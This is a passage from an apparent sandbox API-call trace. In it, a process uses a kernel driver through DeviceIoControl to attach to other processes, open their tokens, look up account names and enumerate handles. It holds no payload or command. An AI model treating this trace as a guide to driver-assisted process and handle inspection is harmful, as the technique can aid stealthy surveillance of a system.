(Object=0xfffffa80019ac6b0) returned 0x1 [0122.984] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.984] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.984] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.984] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.984] PsLookupProcessByProcessId (in: ProcessId=0x8f0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.984] PsAcquireProcessExitSynchronization () returned 0x0 [0122.984] KeStackAttachProcess (in: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880044355d0) [0122.984] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.984] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.984] PsReleaseProcessExitSynchronization () returned 0x2 [0122.984] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x10 [0122.984] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.984] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.984] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.984] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.984] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x900) returned 0xc0 [0122.984] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.985] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8002052460, HandleInformation=0x0) returned 0x0 [0122.985] ObOpenObjectByPointer (in: Object=0xfffffa8002052460, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a1c) returned 0x0 [0122.985] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x12 [0122.985] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a1c, DesiredAccess=0x8, TokenHandle=0xfffffa80038b6180 | out: TokenHandle=0xfffffa80038b6180*=0xc8) returned 0x0 [0122.985] ZwClose (Handle=0xffffffff80000a1c) returned 0x0 [0122.985] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.985] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.985] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.986] CloseHandle (hObject=0xc8) returned 1 [0122.986] CloseHandle (hObject=0xc0) returned 1 [0122.986] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.986] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.986] PsLookupProcessByProcessId (in: ProcessId=0x900, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.986] PsAcquireProcessExitSynchronization () returned 0x0 [0122.986] KeStackAttachProcess (in: PROCESS=0xfffffa8002052460, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002052460, ApcState=0xfffff880044355d0) [0122.986] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002052d90, HandleInformation=0x0) returned 0x0 [0122.986] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.986] PsReleaseProcessExitSynchronization () returned 0x2 [0122.986] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x10 [0122.986] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.986] ObfDereferenceObject (Object=0xfffffa8002052d90) returned 0x1 [0122.987] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.987] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.987] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.987] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0122.987] PsLookupProcessByProcessId (in: ProcessId=0x900, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.987] PsAcquireProcessExitSynchronization () returned 0x0 [0122.987] KeStackAttachProcess (in: PROCESS=0xfffffa8002052460, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002052460, ApcState=0xfffff880044355d0) [0122.987] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020401a0, HandleInformation=0x0) returned 0x0 [0122.987] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.987] PsReleaseProcessExitSynchronization () returned 0x2 [0122.987] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x10 [0122.987] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.987] ObfDereferenceObject (Object=0xfffffa80020401a0) returned 0x1 [0122.987] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.987] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.987] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.987] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.987] PsLookupProcessByProcessId (in: ProcessId=0x900, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.987] PsAcquireProcessExitSynchronization () returned 0x0 [0122.987] KeStackAttachProcess (in: PROCESS=0xfffffa8002052460, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002052460, ApcState=0xfffff880044355d0) [0122.987] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.987] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.987] PsReleaseProcessExitSynchronization () returned 0x2 [0122.987] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x10 [0122.987] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.987] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.987] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.988] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.988] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x910) returned 0xc0 [0122.988] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.988] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8002067b30, HandleInformation=0x0) returned 0x0 [0122.988] ObOpenObjectByPointer (in: Object=0xfffffa8002067b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a1c) returned 0x0 [0122.988] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x12 [0122.988] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a1c, DesiredAccess=0x8, TokenHandle=0xfffffa80038b6180 | out: TokenHandle=0xfffffa80038b6180*=0xc8) returned 0x0 [0122.988] ZwClose (Handle=0xffffffff80000a1c) returned 0x0 [0122.988] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.988] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.988] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.989] CloseHandle (hObject=0xc8) returned 1 [0122.989] CloseHandle (hObject=0xc0) returned 1 [0122.989] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.989] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.989] PsLookupProcessByProcessId (in: ProcessId=0x910, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.989] PsAcquireProcessExitSynchronization () returned 0x0 [0122.989] KeStackAttachProcess (in: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880044355d0) [0122.989] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020627a0, HandleInformation=0x0) returned 0x0 [0122.990] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.990] PsReleaseProcessExitSynchronization () returned 0x2 [0122.990] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x10 [0122.990] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.990] ObfDereferenceObject (Object=0xfffffa80020627a0) returned 0x1 [0122.990] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.990] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.990] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.990] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0122.990] PsLookupProcessByProcessId (in: ProcessId=0x910, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.990] PsAcquireProcessExitSynchronization () returned 0x0 [0122.990] KeStackAttachProcess (in: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880044355d0) [0122.990] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002068800, HandleInformation=0x0) returned 0x0 [0122.990] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.990] PsReleaseProcessExitSynchronization () returned 0x2 [0122.990] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x10 [0122.990] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0122.990] ObfDereferenceObject (Object=0xfffffa8002068800) returned 0x1 [0122.990] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.990] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.990] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.990] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.990] PsLookupProcessByProcessId (in: ProcessId=0x910, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.990] PsAcquireProcessExitSynchronization () returned 0x0 [0122.990] KeStackAttachProcess (in: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880044355d0) [0122.990] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.990] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.990] PsReleaseProcessExitSynchronization () returned 0x2 [0122.990] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x10 [0122.990] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80037a2444, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80037a2444, ReturnLength=0xfffff88004435550) returned 0x0 [0122.990] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.991] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.991] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.991] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x920) returned 0xc0 [0122.991] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.991] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa800207e5f0, HandleInformation=0x0) returned 0x0 [0122.991] ObOpenObjectByPointer (in: Object=0xfffffa800207e5f0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a1c) returned 0x0 [0122.991] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x12 [0122.991] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a1c, DesiredAccess=0x8, TokenHandle=0xfffffa80038b6180 | out: TokenHandle=0xfffffa80038b6180*=0xc8) returned 0x0 [0122.991] ZwClose (Handle=0xffffffff80000a1c) returned 0x0 [0122.991] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.991] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.991] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.992] CloseHandle (hObject=0xc8) returned 1 [0122.992] CloseHandle (hObject=0xc0) returned 1 [0122.992] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.992] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.992] PsLookupProcessByProcessId (in: ProcessId=0x920, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.992] PsAcquireProcessExitSynchronization () returned 0x0 [0122.992] KeStackAttachProcess (in: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880044355d0) [0122.993] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800207ef20, HandleInformation=0x0) returned 0x0 [0122.993] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.993] PsReleaseProcessExitSynchronization () returned 0x2 [0122.993] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x10 [0122.993] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800341c7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800341c7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0122.993] ObfDereferenceObject (Object=0xfffffa800207ef20) returned 0x1 [0122.993] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.993] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.993] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.993] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0122.993] PsLookupProcessByProcessId (in: ProcessId=0x920, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.993] PsAcquireProcessExitSynchronization () returned 0x0 [0122.993] KeStackAttachProcess (in: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880044355d0) [0122.993] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001ff5290, HandleInformation=0x0) returned 0x0 [0122.993] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.993] PsReleaseProcessExitSynchronization () returned 0x2 [0122.993] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x10 [0122.993] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a3644, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80037a3644, ReturnLength=0xfffff88004435508) returned 0x0 [0122.993] ObfDereferenceObject (Object=0xfffffa8001ff5290) returned 0x1 [0122.993] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.993] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.993] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.993] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.993] PsLookupProcessByProcessId (in: ProcessId=0x920, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.993] PsAcquireProcessExitSynchronization () returned 0x0 [0122.993] KeStackAttachProcess (in: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880044355d0) [0122.993] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.993] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.993] PsReleaseProcessExitSynchronization () returned 0x2 [0122.993] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x10 [0122.993] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.993] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.994] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.994] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.994] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x930) returned 0xc0 [0122.994] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.994] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8001ff8b30, HandleInformation=0x0) returned 0x0 [0122.994] ObOpenObjectByPointer (in: Object=0xfffffa8001ff8b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a1c) returned 0x0 [0122.994] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x12 [0122.994] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a1c, DesiredAccess=0x8, TokenHandle=0xfffffa80038b6180 | out: TokenHandle=0xfffffa80038b6180*=0xc8) returned 0x0 [0122.994] ZwClose (Handle=0xffffffff80000a1c) returned 0x0 [0122.994] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.994] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.994] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.995] CloseHandle (hObject=0xc8) returned 1 [0122.995] CloseHandle (hObject=0xc0) returned 1 [0122.995] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.995] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, 